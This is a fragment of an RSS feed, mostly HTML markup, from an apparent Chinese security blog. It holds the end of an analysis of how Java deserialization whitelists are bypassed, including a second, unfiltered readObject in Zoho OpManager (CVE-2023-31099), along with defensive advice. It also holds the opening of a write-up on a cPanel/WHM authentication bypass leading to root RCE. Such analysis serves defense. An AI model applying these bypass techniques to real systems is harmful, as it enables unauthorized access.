oklab(0.144521 0.00000657141 0.00000288337 / 0.5);letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">再比如 </span><code style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 3px 5px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &#34;Liberation Mono&#34;, &#34;Courier New&#34;, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);border-radius: 4px;"><span leaf="">CVE-2023-31099</span></code><span leaf=""> 中，</span><code style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 3px 5px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &#34;Liberation Mono&#34;, &#34;Courier New&#34;, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);border-radius: 4px;"><span leaf="">Zoho ManageEngine Opmanager</span></code><span leaf=""> 自定义的 </span><code style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 3px 5px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &#34;Liberation Mono&#34;, &#34;Courier New&#34;, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);border-radius: 4px;"><span leaf="">ITOMObjectInputStream</span></code><span leaf=""> 采用了白名单检测机制，仅允许反序列化 </span><code style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 3px 5px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &#34;Liberation Mono&#34;, &#34;Courier New&#34;, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);border-radius: 4px;"><span leaf="">DataObject</span></code><span leaf=""> 这个合法类 ：</span></p><figure style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 1.5em 8px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(63, 63, 63);"><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.2916666666666667" data-type="png" data-w="1080" style="box-sizing: border-box;border: 1px solid rgba(0, 0, 0, 0.04);margin: 0.1em auto 0.5em;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);vertical-align: middle;display: block;max-width: 100%;height: auto;border-radius: 8px;" data-imgfileid="100009221" src="https://wechat2rss.xlab.app/img-proxy/?k=f17ac9b6&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F5micBBibMraLm6fbv3wD248SwgIl2OUO7yFdUYE9Js8ibsbZoXNgRzz7oJSXfYI7Hra3wrc2VLdZMoeJTreiaLUicotKNlcu0K8oansqibYv5EOkw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></figure><p style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 1.5em 8px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">问题在于， </span><code style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 3px 5px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &#34;Liberation Mono&#34;, &#34;Courier New&#34;, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);border-radius: 4px;"><span leaf="">readObject</span></code><span leaf="">获取</span><code style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 3px 5px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &#34;Liberation Mono&#34;, &#34;Courier New&#34;, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);border-radius: 4px;"><span leaf="">dataObject</span></code><span leaf="">对象后，会继续调用</span><code style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 3px 5px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &#34;Liberation Mono&#34;, &#34;Courier New&#34;, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);border-radius: 4px;"><span leaf="">transferDataToNOC</span></code><span leaf="">，经过一系列判断后进入</span><code style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 3px 5px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &#34;Liberation Mono&#34;, &#34;Courier New&#34;, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);border-radius: 4px;"><span leaf="">getObjectData</span></code><span leaf="">，该函数内部会对来自</span><code style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 3px 5px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &#34;Liberation Mono&#34;, &#34;Courier New&#34;, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);border-radius: 4px;"><span leaf="">DataObject</span></code><span leaf="">类的字节数组属性</span><code style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 3px 5px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &#34;Liberation Mono&#34;, &#34;Courier New&#34;, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);border-radius: 4px;"><span leaf="">data</span></code><span leaf="">进行一次全新的</span><code style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 3px 5px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &#34;Liberation Mono&#34;, &#34;Courier New&#34;, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);border-radius: 4px;"><span leaf="">readObject</span></code><span leaf="">，这次反序列化使用默认的</span><code style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 3px 5px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &#34;Liberation Mono&#34;, &#34;Courier New&#34;, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);border-radius: 4px;"><span leaf="">ObjectInputStream</span></code><span leaf="">，完全不受</span><code style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 3px 5px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &#34;Liberation Mono&#34;, &#34;Courier New&#34;, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);border-radius: 4px;"><span leaf="">ITOMObjectInputStream.resolveClass</span></code><span leaf=""> 白名单的限制，最终导致防御失效。</span></p><figure style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 1.5em 8px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);color: rgb(63, 63, 63);"><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.7018518518518518" data-type="png" data-w="1080" style="box-sizing: border-box;border: 1px solid rgba(0, 0, 0, 0.04);margin: 0.1em auto 0.5em;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);vertical-align: middle;display: block;max-width: 100%;height: auto;border-radius: 8px;" data-imgfileid="100009226" src="https://wechat2rss.xlab.app/img-proxy/?k=92a82a49&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F5micBBibMraLlkoAP2pIUq5V521W4VVMpickm2gHeR4BecjLW5ibPFYInWF2MeSAOeO9q9nw5bPpa1z7u25somvXQ27QxD6xRn1qjgI227SQeBA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></figure><h2 data-heading="true" style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 4em auto 2em;padding: 0.3em 1.2em;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-size: 19.5px;font-weight: bold;display: table;color: rgb(255, 255, 255);background: rgb(15, 76, 129);text-align: center;border-radius: 8px 24px;box-shadow: rgba(0, 0, 0, 0.06) 0px 2px 6px;"><span leaf="">防御方式的思考</span></h2><p style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 1.5em 8px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">除了 </span><code style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 3px 5px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &#34;Liberation Mono&#34;, &#34;Courier New&#34;, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);border-radius: 4px;"><span leaf="">resolveClass</span></code><span leaf="">，还可以使用</span><code style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 3px 5px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &#34;Liberation Mono&#34;, &#34;Courier New&#34;, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);border-radius: 4px;"><span leaf="">Apache Commons IO</span></code><span leaf="">的</span><code style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 3px 5px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &#34;Liberation Mono&#34;, &#34;Courier New&#34;, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);border-radius: 4px;"><span leaf="">ValidatingObjectInputStream</span></code><span leaf="">这种第三方库，或者</span><code style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 3px 5px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &#34;Liberation Mono&#34;, &#34;Courier New&#34;, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);border-radius: 4px;"><span leaf="">JDK</span></code><span leaf="">原生的</span><code style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 3px 5px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &#34;Liberation Mono&#34;, &#34;Courier New&#34;, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);border-radius: 4px;"><span leaf="">JEP290</span></code><span leaf="">过滤</span><code style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 3px 5px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &#34;Liberation Mono&#34;, &#34;Courier New&#34;, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);border-radius: 4px;"><span leaf="">Filter</span></code><span leaf="">来构建防御。然而这些只是可供选择的手段，有效性最终仍取决于过滤逻辑是否严密。反序列化防御的核心不在于是否使用了某个安全机制，是否正确理解了反序列化的完整处理过程才是关键。从</span><code style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 3px 5px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &#34;Liberation Mono&#34;, &#34;Courier New&#34;, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);border-radius: 4px;"><span leaf="">CVE-2026-42779</span></code><span leaf="">对</span><code style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 3px 5px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &#34;Liberation Mono&#34;, &#34;Courier New&#34;, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);border-radius: 4px;"><span leaf="">forClass</span></code><span leaf="">的误用，到</span><code style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 3px 5px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &#34;Liberation Mono&#34;, &#34;Courier New&#34;, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);border-radius: 4px;"><span leaf="">Top Class</span></code><span leaf=""> 检验的片面性，再到二次反序列化导致的检测断链，这些漏洞证明任何逻辑上的微小错误，都可能导致反序列化防御机制的失效。</span></p></div><p data-pm-slice="0 0 []" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px 0px 24px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;color: rgba(0, 0, 0, 0.9);font-family: &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 17px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;background-color: rgb(255, 255, 255);"><span data-pm-slice="0 0 []" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;color: rgba(0, 0, 0, 0.9);font-family: &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 700;letter-spacing: 0.544px;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">由于传播、利用此文档提供的信息而造成任何直接或间接的后果及损害，均由使用本人负责，公众号及文章作者不为此承担任何责任。</span></span></p><p class="mp_profile_iframe_wrp" nodeleaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px 0px 24px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;color: rgba(0, 0, 0, 0.9);font-family: &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 17px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><mp-common-profile class="js_uneditable custom_select_card mp_profile_iframe js_wx_tap_highlight" data-pluginname="mpprofile" data-nickname="自在安全" data-alias="zizaianquan" data-index="1" data-from="2" data-headimg="http://mmbiz.qpic.cn/sz_mmbiz_png/9UsWg6ibZLAyXOOjT6ic7nYAv7IbBiaSry4atmFYFQotupk7xIuiaK0opNtiariaXJo31Cf1X4t5609epW2oBesIdoxA/300?wx_fmt=png&amp;wxfrom=19" data-signature="网海茫茫隐暗礁，漏洞潜伏似波涛。 慧心洞察安澜处，自在安全任我遨。" data-id="Mzk0NTU5Mjg0Ng==" data-is_biz_ban="0" data-origin_num="108" data-biz_account_status="0" data-service_type="1" data-verify_status="0"></mp-common-profile></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 1.5em 8px;padding: 0px;outline: oklab(0.144521 0.00000657141 0.00000288337 / 0.5) 0px;max-width: 96rem;box-sizing: border-box;overflow-wrap: break-word !important;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;background-color: rgb(255, 255, 255);width: 1536px;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;line-height: 1.75;text-align: left;border: 0px solid rgb(229, 229, 229);letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: oklab(0.144521 0.00000657141 0.00000288337 / 0.5) 0px;max-width: 96rem;box-sizing: border-box;overflow-wrap: break-word !important;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;line-height: 1.75;text-align: left;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span textstyle="" style="font-size: 14px;">欢迎大家关注自在安全公众号。为更好学习交流，建了个技术交流群，大家可以扫描进群。你也可以关注公众号后@我拉你进群。</span></span></p><p style="text-align: center;" nodeleaf=""><img class="rich_pages wxw-img" data-aistatus="1" data-croporisrc="https://mmbiz.qpic.cn/sz_mmbiz_jpg/5micBBibMraLkT81XiaibPXfHiaE99I7R6e3IC1mFYlhNTMp21e3upTibMRuibyYfUgpDnsa5pibWicl4YS9JK5o8u0AdGXyKLZBIDkibzxfabibcPt9mQ/0?wx_fmt=jpeg&amp;from=appmsg" data-cropselx2="578" data-cropsely2="679" data-imgfileid="100009235" data-ratio="1.0903790087463556" data-s="300,640" data-type="jpeg" data-w="1029" style="pointer-events: initial; height: auto !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=837beae7&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2F5micBBibMraLkictwkyicEicMjibia212sfNDtqvR5MCuX6GdYK37zYhZCf1vHK6WibXuAOpykj9NIHic3YCmVN3nzoV4SZU36fc4q986qEX3DErTg1Y%2F640%3Fwx_fmt%3Djpeg"/></p><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=2e4fd3c6&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzk0NTU5Mjg0Ng%3D%3D%26mid%3D2247492884%26idx%3D1%26sn%3Da2a05e97b8cf39003483cec3a567cf59">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Wed, 06 May 2026 07:01:00 +0800</pubDate>
    </item>
    <item>
      <title>CVE-2026-41940 深度分析影响7000万+量级的cPanel/WHM认证绕过漏洞：从CRLF注入到匿名RCE</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzk0NTU5Mjg0Ng==&amp;mid=2247492882&amp;idx=1&amp;sn=5edac26f635a2e0eac4b2780e44f3a13</link>
      <description>欢迎大家关注自在安全公众号。为更好学习交流，建了个技术交流群，大家可以扫描进群。你也可以关注公众号后@我拉你进群。</description>
      <content:encoded><![CDATA[<p>原创 <span>KCyber</span> <span>2026-05-05 07:01</span> <span style="display: inline-block;">北京</span></p>






  
  <p><img src="https://wechat2rss.xlab.app/img-proxy/?k=dbd13c13&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2F5micBBibMraLn9yRk8icllPbRIYVrSGsy9Edhuib2WefQqpkT3ibsUlvU6NCvrSw6QTYJ4miaBfPJTft0sxC3em9LyhtiauDH2gEKOoJ1MUvrD6eeM%2F0%3Fwx_fmt%3Djpeg"/></p>
  
  <p class="mp_profile_iframe_wrp" nodeleaf=""><mp-common-profile class="js_uneditable custom_select_card mp_profile_iframe" data-pluginname="mpprofile" data-nickname="自在安全" data-alias="zizaianquan" data-from="0" data-headimg="http://mmbiz.qpic.cn/sz_mmbiz_png/9UsWg6ibZLAyXOOjT6ic7nYAv7IbBiaSry4atmFYFQotupk7xIuiaK0opNtiariaXJo31Cf1X4t5609epW2oBesIdoxA/0?wx_fmt=png" data-signature="网海茫茫隐暗礁，漏洞潜伏似波涛。 慧心洞察安澜处，自在安全任我遨。" data-id="Mzk0NTU5Mjg0Ng==" data-is_biz_ban="0" data-service_type="1" data-verify_status="0"></mp-common-profile></p><p><span style="color: rgb(63, 63, 63);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 1.5px;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;display: inline !important;float: none;" data-pm-slice="0 0 []"><span leaf="">欢迎大家关注自在安全公众号。为更好学习交流，建了个技术交流群，大家可以扫描进群。你也可以关注公众号后@我拉你进群。</span></span></p><p style="text-align: center;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="1.1747815230961298" data-s="300,640" data-type="png" data-w="801" data-croporisrc="https://mmbiz.qpic.cn/sz_mmbiz_png/5micBBibMraLkFnAFqTnwp99Ik1VKjvpE72cMIAvmib5fkKxroLSYKPZzjZ8UPxXZicokyJ9oh4R3zLSjtT6eUSvxIXmgEZtoq8CJibnMcVj1lx8/0?wx_fmt=png&amp;from=appmsg" data-cropselx2="492" data-cropsely2="635" data-imgfileid="100009233" src="https://wechat2rss.xlab.app/img-proxy/?k=0177fcd8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F5micBBibMraLkFnAFqTnwp99Ik1VKjvpE72cMIAvmib5fkKxroLSYKPZzjZ8UPxXZicokyJ9oh4R3zLSjtT6eUSvxIXmgEZtoq8CJibnMcVj1lx8%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><div style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);width: 1536px;max-width: 96rem;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;line-height: 1.75;text-align: left;color: rgb(0, 0, 0);font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><p style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin-top: 0px !important;margin-right: 8px;margin-bottom: 1.5em;margin-left: 8px;padding: 0px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);letter-spacing: 0.1em;color: rgb(63, 63, 63);"><code style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 3px 5px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &#34;Liberation Mono&#34;, &#34;Courier New&#34;, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);border-radius: 4px;"><span leaf="">cPanel/WHM</span></code><span leaf=""> 是一套基于 </span><code style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 3px 5px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &#34;Liberation Mono&#34;, &#34;Courier New&#34;, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);border-radius: 4px;"><span leaf="">Linux</span></code><span leaf=""> 的虚拟主机管理面板，提供网站和服务器管理功能，号称全球装机数量超过 </span><code style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 3px 5px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &#34;Liberation Mono&#34;, &#34;Courier New&#34;, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);border-radius: 4px;"><span leaf="">7000</span></code><span leaf=""> 万。</span><code style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 3px 5px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &#34;Liberation Mono&#34;, &#34;Courier New&#34;, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);border-radius: 4px;"><span leaf="">CVE-2026-41940</span></code><span leaf=""> 是一个影响 </span><code style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 3px 5px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &#34;Liberation Mono&#34;, &#34;Courier New&#34;, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);border-radius: 4px;"><span leaf="">cPanel/WHM</span></code><span leaf=""> 的严重认证绕过漏洞，该漏洞可以直接绕过所有密码和双因素认证，获取系统 </span><code style="box-sizing: border-box;border: 0px solid rgb(229, 229, 229);margin: 0px;padding: 3px 5px;outline-color: oklab(0.144521 0.00000657141 0.00000288337 / 0.5);font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, &#34;Liberation Mono&#34;, &#34;Courier New&#34;, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);border-radius: 4px;"><span leaf="">ROOT</span></code><span leaf=""> 权限。</span></p><figure style="box-sizing: border-box;border: 0px solid rgb(229, 229, 